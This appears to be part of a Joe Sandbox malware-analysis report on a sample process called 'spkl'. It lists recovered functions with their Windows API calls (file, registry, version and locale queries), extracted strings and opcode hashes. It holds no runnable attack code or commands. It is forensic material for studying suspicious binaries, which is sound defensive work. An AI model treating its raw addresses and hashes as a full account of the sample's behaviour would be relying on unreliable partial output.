Snapshot File: hcaresult_46_2_3370000_spkl.jbxd

Similarity

API ID:
String ID: Genu$ineI$ntel
API String ID: 0-3389352399
Opcode ID: 14a87177e3acac91da4be8fa5e44951736ef3dc2eeded08482fb05f3e17207d9
Instruction ID: aeea94b58499ec9e2db465b51a041df2398278a6e2b5a1180c23ba2d4f2762b0
Opcode Fuzzy Hash: 14a87177e3acac91da4be8fa5e44951736ef3dc2eeded08482fb05f3e17207d9
Instruction Fuzzy Hash: 5251E474B042448FCB74EF6D88D02EDFFB5AF56210F0881AAC845DF75AEA788906CB55

Function 033576C4 Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,?,?,00000001,0335D32D,00000000,0335D3DD), ref: 033576DF
GetLastError.KERNEL32(00000000,?,?,?,00000001,0335D32D,00000000,0335D3DD), ref: 03357704

Part of subcall function 03357660: FileTimeToLocalFileTime.KERNEL32(?), ref: 0335768D
Part of subcall function 03357660: FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 0335769C

Part of subcall function 03357714: FindClose.KERNEL32(?,?,03357702,00000000,?,?,?,00000001,0335D32D,00000000,0335D3DD), ref: 03357720

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: FileTime$Find$CloseDateErrorFirstLastLocal
String ID:
API String ID: 976985129-0
Opcode ID: c757f704e8e999f22d72134eb9cd40739b29ba6115c35a804121bd37f31d335b
Instruction ID: 4c2359ecb2209043d28e7758fc7fc5f05d7c0a286dea278fa517e34ec51986a6
Opcode Fuzzy Hash: c757f704e8e999f22d72134eb9cd40739b29ba6115c35a804121bd37f31d335b
Instruction Fuzzy Hash: E3E06D7BF01620478725EE7C6CC0D6AA1889A846B130A16BAFD14DF355DA29CC1247E1

Function 03357890 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(00000000,?,?,?,?), ref: 033578B9

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 4cadcea5d5ff95b75605899ef5724788dda6a7968d37ada3a8937e8d638fe0fa
Instruction ID: 8065dcb0f0f65ca68846d7fe41e7a16f1e2568230ae2ea8707d989b5011d2cce
Opcode Fuzzy Hash: 4cadcea5d5ff95b75605899ef5724788dda6a7968d37ada3a8937e8d638fe0fa
Instruction Fuzzy Hash: 3D113775E04208AFDB01CFA9C881DEFBBF5EFCD210B54C559E445DB250D6315A01CB90

Function 03359C9C Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0335B10E,00000000,0335B327,?,?,00000000,00000000), ref: 03359CAF

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cb8b70dfe387a3e475d30475657f9d186179ff27a95f2876544dd5eff36dcb2b
Instruction ID: cc64caee96196fce1948dc5f27694e719fe54061b8819661080794b4bbf3e82c
Opcode Fuzzy Hash: cb8b70dfe387a3e475d30475657f9d186179ff27a95f2876544dd5eff36dcb2b
Instruction Fuzzy Hash: 01D05E6670D2506AF214A25A6DC4EBB9ADDCAC66B0F444039B948CB301D3008C0693B1

Function 03356312 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bd1a580bb388948b7c50b165bf9326c6627aa7e4831c7752ac4ad2b13880491
Instruction ID: 5a22366f458d824034e145ed6e369e02f75cf7a167a5b2f452ab1b7a5616775d
Opcode Fuzzy Hash: 2bd1a580bb388948b7c50b165bf9326c6627aa7e4831c7752ac4ad2b13880491
Instruction Fuzzy Hash:

Function 03356342 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fcb62d147c1971ab778714828fa6ae2fd86c461c06b7687922a630fecf2fefe
Instruction ID: edeea37ff526c48b11796ddb10d786ac20d4a8360a597003a8716e3c5166123a
Opcode Fuzzy Hash: 7fcb62d147c1971ab778714828fa6ae2fd86c461c06b7687922a630fecf2fefe
Instruction Fuzzy Hash:

Function 03356252 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 515556a11f6e63c31a38fa92d9f1ec0faa07609906c950899df2827e07267182
Instruction ID: 9bbd292c46d30f7019c94ccf39462350b6f1b21c23aa6b781f2d6f026c9ef719
Opcode Fuzzy Hash: 515556a11f6e63c31a38fa92d9f1ec0faa07609906c950899df2827e07267182
Instruction Fuzzy Hash:

Function 03356292 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27199f1d5014a11ef08f2f01a35838e800ea7724ec34342de7c56c7b4356860c
Instruction ID: faa428850b3ba1d796ef701d6d278ce9cc73915895187744dff15ab97886dd7f
Opcode Fuzzy Hash: 27199f1d5014a11ef08f2f01a35838e800ea7724ec34342de7c56c7b4356860c
Instruction Fuzzy Hash:

Function 033560F2 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f2a396fc9095eceb0b23897c083e6ce4893145f4efc195d278ebc07655a502a
Instruction ID: a4151d18237954c86e81bd9f7a343558a1e5b631f2fc5353f924501f514f62b5
Opcode Fuzzy Hash: 7f2a396fc9095eceb0b23897c083e6ce4893145f4efc195d278ebc07655a502a
Instruction Fuzzy Hash:

Function 03355FFA Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7cfc38f25866b1512274ad76242d4263021983fa5b899bcf7429a665f8aa240
Instruction ID: 9672aa34f7059f600d635096eef8ca808a650c467ea92ad9bb7182d29ae4d7db
Opcode Fuzzy Hash: e7cfc38f25866b1512274ad76242d4263021983fa5b899bcf7429a665f8aa240
Instruction Fuzzy Hash:

Function 03355134 Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 033551BB
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 033551DF
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 033551FB
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000), ref: 0335521C
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 03355245
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 0335524F
GetStdHandle.KERNEL32(000000F5), ref: 0335526F
GetFileType.KERNEL32(?,000000F5), ref: 03355286
CloseHandle.KERNEL32(?,?,000000F5), ref: 033552A1
GetLastError.KERNEL32(000000F5), ref: 033552BB

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 982d3e92afc8875d435239009764439916596608910372350c598a20cb5cfb39
Instruction ID: 94ad48c10cfd4670136262e3d71667e18661cfa82259ad5c3138eb968dbb876d
Opcode Fuzzy Hash: 982d3e92afc8875d435239009764439916596608910372350c598a20cb5cfb39
Instruction Fuzzy Hash: 3B4191359147009AFB30DE24CDC4F26B6E9AB02764F288A19FD97CF6D0D779B4448B90

Function 0335B05C Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0335B327,?,?,00000000,00000000), ref: 0335B092

Strings

m/d/yy, xrefs: 0335B161
AMPM , xrefs: 0335B2B5
mmmm d, yyyy, xrefs: 0335B18E
:mm:ss, xrefs: 0335B2E2
AMPM, xrefs: 0335B2A6
:mm, xrefs: 0335B2C5

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: LocaleThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 635194068-2493093252
Opcode ID: 3bb717a846348f0b7bd41897d87e86beb94b5cc58c841cd925d27cddeb36af91
Instruction ID: 4e9044fb2afc4c7bea2608c093359b5860bcd9a4d79d05a1dc1c468c4f13dd71
Opcode Fuzzy Hash: 3bb717a846348f0b7bd41897d87e86beb94b5cc58c841cd925d27cddeb36af91
Instruction Fuzzy Hash: 4E612938B00308DBDB01EBA4D8C0FAEB7BAAB99300F509865F915EF745DB35D9498764

Function 033805CC Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 117COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(0000009C), ref: 03380652

Part of subcall function 03380A84: GetVersionExA.KERNEL32(?,?,00000000,?,03380615), ref: 03380ADB

GetVersionExA.KERNEL32(0000009C), ref: 03380621

Strings

SERVERNT, xrefs: 033806F8
System\CurrentControlSet\Control\ProductOptions, xrefs: 033806D4
WINNT, xrefs: 033806E3
LANMANNT, xrefs: 0338070D
ProductType, xrefs: 033806CF

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3370000_spkl.jbxd

Similarity

API ID: Version
String ID: LANMANNT$ProductType$SERVERNT$System\CurrentControlSet\Control\ProductOptions$WINNT
API String ID: 1889659487-2290413088
Opcode ID: 7c51501dfedca63e7766013fb896ebdadc0c5477c591cef7aed159e4f22777cf
Instruction ID: 40efaa174c5400b58ca5485b85488c3f455739bd2f9063ffac5db16238c51626
Opcode Fuzzy Hash: 7c51501dfedca63e7766013fb896ebdadc0c5477c591cef7aed159e4f22777cf
Instruction Fuzzy Hash: D031B538A45308BEEF28FF708DC17EAB7ADDB96304F5800A2F8418A651D634898D8F11

Function 03354B10 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 127stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 03354B6B
lstrcpyn.KERNEL32(?,?,0000005C,kernel32.dll), ref: 03354BCF
lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll), ref: 03354C04
lstrlen.KERNEL32(?,0000005D,?), ref: 03354C67
lstrcpy.KERNEL32(?,0000005C), ref: 03354C85

Strings

\, xrefs: 03354C42
kernel32.dll, xrefs: 03354B25
GetLongPathNameA, xrefs: 03354B35

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: lstrcpylstrcpyn$lstrlen
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 2167663922-1565342463
Opcode ID: 5ab4aad41e26ae8af59050de09b548d3126acc833c2e589e9bad2dfb3a0fa93b
Instruction ID: b8c78904121a711be7e95e10fb94ef751f4c936b935129563bde475a7f1fb7f6
Opcode Fuzzy Hash: 5ab4aad41e26ae8af59050de09b548d3126acc833c2e589e9bad2dfb3a0fa93b
Instruction Fuzzy Hash: 99413776E00258ABDB14DAAACDC8FDEB7BCAF48200F0844E1BD49DB201D6759B848B50

Function 0335B05A Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 196threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0335B327,?,?,00000000,00000000), ref: 0335B092

Strings

m/d/yy, xrefs: 0335B161
mmmm d, yyyy, xrefs: 0335B18E
:mm:ss, xrefs: 0335B2E2
AMPM, xrefs: 0335B2A6
:mm, xrefs: 0335B2C5

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: LocaleThread
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 635194068-665933166
Opcode ID: 6c08d41e25b14da8cc5309faf9f608c097774b08de2226199e46e42d705bfcb4
Instruction ID: 5f60e04c069afdd2c57e694777a2b80b6ac4329cd33c9f06c15cfd13adb2efe3
Opcode Fuzzy Hash: 6c08d41e25b14da8cc5309faf9f608c097774b08de2226199e46e42d705bfcb4
Instruction Fuzzy Hash: FF612D38B00308DBDB01EBA4D8C0FAFB7AA9B99300F549465F915EF345DB35D9498754

Function 004069F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?), ref: 00406A29
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000), ref: 00406A2F
GetStdHandle.KERNEL32(000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A44
WriteFile.KERNEL32(00000000,000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A4A

Strings

Runtime error at 00000000, xrefs: 00406A22, 00406A61

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileHandleWrite
String ID: Runtime error at 00000000
API String ID: 3320372497-1393363852
Opcode ID: 0c9eed1a39936270ba1f4b76f6c638a20d303835925233aef2ef59efb2a76de2
Instruction ID: e63e786300ecc46298da8aedc39f8a4fd1395a4b7eb443298d7c7201171cb949
Opcode Fuzzy Hash: 0c9eed1a39936270ba1f4b76f6c638a20d303835925233aef2ef59efb2a76de2
Instruction Fuzzy Hash: 97F02B61B8030078EA10BBA05E5EF67252C6B41F28F11413FF218B92D696FC85C4CA1E

Function 033519C8 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(03398430), ref: 033519F5
LocalFree.KERNEL32(03398488,03398430,00000000,03351A9E), ref: 03351A07
LocalFree.KERNEL32(03398448,00000000,00000000,00008000,03398488,00000000,03351A9E), ref: 03351A65
RtlLeaveCriticalSection.NTDLL(03398430), ref: 03351A8E
RtlDeleteCriticalSection.NTDLL(03398430), ref: 03351A98

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: CriticalSection$FreeLocal$DeleteEnterLeave
String ID:
API String ID: 3902855382-0
Opcode ID: 0c8e5b81c83e784498f1a8639c912107baf5146d009283beb4e8559723d281ba
Instruction ID: c2621240b83f43555fdc194b51926334f7ee18acd9c344d7e975f3d2c33c74f7
Opcode Fuzzy Hash: 0c8e5b81c83e784498f1a8639c912107baf5146d009283beb4e8559723d281ba
Instruction Fuzzy Hash: 55115B38E48340EEEF12EBA4A8C0F1A77A89B87744F490452F904CF645CB7694C08766

Function 03359F88 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0335A14A,?,?,?,?,00000000,00000000,00000000,00000000), ref: 03359FB6

Strings

yyyy, xrefs: 0335A0A1
eeee, xrefs: 0335A0BA
ggg, xrefs: 0335A094

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: LocaleThread
String ID: eeee$ggg$yyyy
API String ID: 635194068-1253427255
Opcode ID: a3b3bfe1838df013cc8df13b18fe7d047e5e6128202dc82af0699a91ca8a64b5
Instruction ID: aff217ff9fae607a037e01d6816b864b20aa0a3f51028ee4f846fd44f458381f
Opcode Fuzzy Hash: a3b3bfe1838df013cc8df13b18fe7d047e5e6128202dc82af0699a91ca8a64b5
Instruction Fuzzy Hash: 0041F12DB243455BC713E678CCD1FBEB29EEF84150B540625FD92CBB00E729DA02A261

Function 00406A7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406AB1
FreeLibrary.KERNEL32(00400000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B32
ExitProcess.KERNEL32(00869000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B6E

Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?), ref: 00406A29
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000), ref: 00406A2F
Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A44
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A4A

Strings

xWA, xrefs: 00406A89

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID: xWA
API String ID: 3490077880-1367497327
Opcode ID: 43e1e9757bdaeecb3ac41fb7beedb35673f6a622efd07d19bef4bfffc1228086
Instruction ID: 07a1f38d2ea3c9b044fb4c0f13277ba6404eb61e471d4d96d04e3d4d2f3c9cdd
Opcode Fuzzy Hash: 43e1e9757bdaeecb3ac41fb7beedb35673f6a622efd07d19bef4bfffc1228086
Instruction Fuzzy Hash: 6D315EB0A002609BDF21AF29848935636A4BB05324F17557BE90AF73C6D77CDCA4CB5E

Function 00406A80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00406AB1
FreeLibrary.KERNEL32(00400000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B32
ExitProcess.KERNEL32(00869000,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?,?,?,?,0040B8B1), ref: 00406B6E

Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000,?), ref: 00406A29
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000,?,00000002,00406B96,00404443,0040448A,00010000), ref: 00406A2F
Part of subcall function 004069F0: GetStdHandle.KERNEL32(000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A44
Part of subcall function 004069F0: WriteFile.KERNEL32(00000000,000000F5,00406A7C,00000002,0040B8B1,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0040B8B1,00000000,?,00406AA1,?,00000000), ref: 00406A4A

Strings

xWA, xrefs: 00406A89

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID: xWA
API String ID: 3490077880-1367497327
Opcode ID: 7834924e49ed803de3fe2c12ecb0426b0801b3f8a8d27bc0a268189d23c4f520
Instruction ID: 13bf23e1329b6ed62b51f5b22f85bd001d496eff14c6d4ab5e25a17571e484f8
Opcode Fuzzy Hash: 7834924e49ed803de3fe2c12ecb0426b0801b3f8a8d27bc0a268189d23c4f520
Instruction Fuzzy Hash: C1314FB0A002209BDF21AF29848935636A4BB05314F17557BE90AF72C6D77CDCA4CB5E

Function 0335A1B4 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0335A1D1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0335A1F5
GetModuleFileNameA.KERNEL32(033984D4,?,00000105,?,?,00000105), ref: 0335A210
LoadStringA.USER32(00000000,03356500,?,00000100), ref: 0335A2A6

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 322db62d6f6843c9d5f3ef15a7f332b6bad1de57d4479bc9b303bb975c0f4031
Instruction ID: eb3591c2dc72fd439e83ec2838bcc71b6e74e702c7b87488912a751f4ce59b0a
Opcode Fuzzy Hash: 322db62d6f6843c9d5f3ef15a7f332b6bad1de57d4479bc9b303bb975c0f4031
Instruction Fuzzy Hash: 42411675A003589BDB62EB68CCC5FDAB7BCAB18200F4441E6B908EB241D775AB84CF50

Function 0335A1B2 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0335A1D1
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0335A1F5
GetModuleFileNameA.KERNEL32(033984D4,?,00000105,?,?,00000105), ref: 0335A210
LoadStringA.USER32(00000000,03356500,?,00000100), ref: 0335A2A6

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: a1b1641b18c4bc2a1db027320285fcfcb2fa159406a1c0aa9cb224c8fecfc230
Instruction ID: a1fa0cb1c2ef676535c9f66a8330dd05e8c8818c815ac1f2a57a88fb3c4fff12
Opcode Fuzzy Hash: a1b1641b18c4bc2a1db027320285fcfcb2fa159406a1c0aa9cb224c8fecfc230
Instruction Fuzzy Hash: A2412875A003589BDB61EB68CCC5F9AB7BCAB18200F4441E6B908EB241D7759F84CB50

Function 0040A498 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 0040A4A9
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 0040A50B
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 0040A568
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 0040A59B

Part of subcall function 0040A454: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,0040A519), ref: 0040A46B
Part of subcall function 0040A454: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,0040A519), ref: 0040A488

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 7b5e2f4acab465ac740fddfc8bbe14d4735fe02a7006d7964869ae54b44f81e9
Instruction ID: fc7280abbee8b3a4e0e2c491acc4ca4769cbef175c5e1049a2e5b08ff8261c60
Opcode Fuzzy Hash: 7b5e2f4acab465ac740fddfc8bbe14d4735fe02a7006d7964869ae54b44f81e9
Instruction Fuzzy Hash: B4319230A0021AABCF00EFA9CC94AAEB3B5FF04304F00417AE515F72D2D7789A44CB55

Function 0335CF80 Relevance: 6.1, APIs: 4, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?), ref: 0335CFA6
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019,?), ref: 0335CFD4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000003,?,?,?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019), ref: 0335D004
RegCloseKey.ADVAPI32(?,?,00000000,00000000,?,00000000,?,?,00000000,00000000,00020019,?), ref: 0335D010

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: 7a62b787932e1564d002dea452f8c82385cbcbdae5758abb1af2206b4e5d6699
Instruction ID: 9d88c8fc69b887258e517d15ff2ca4693c346532e377083bec9daad5530f66cf
Opcode Fuzzy Hash: 7a62b787932e1564d002dea452f8c82385cbcbdae5758abb1af2206b4e5d6699
Instruction Fuzzy Hash: 1E119E76E00218BBDB10DAA9CC84EEEB7FCAB05250F044566F915EB240E774AA448B90

Function 03359ED8 Relevance: 6.0, APIs: 4, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03359F6F,?,?,00000000), ref: 03359EF0
GetThreadLocale.KERNEL32(00000000,00000004,00000000,03359F6F,?,?,00000000), ref: 03359F20
GetThreadLocale.KERNEL32(00000000,00000003,Function_00008E24,00000000,00000000,00000004,00000000,03359F6F,?,?,00000000), ref: 03359F49
EnumCalendarInfoA.KERNEL32(Function_00008E60,00000000,00000000,00000003), ref: 03359F54

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: LocaleThread$CalendarEnumInfo
String ID:
API String ID: 1139405593-0
Opcode ID: 0688070ba98fd4021ae3cb0cf474e881ba50b6fcf538eb4846ac1127a3f8b2d4
Instruction ID: b3a04d9c9525a74166e0ad71b6206067869b000d559a32c210a7661183ee3f08
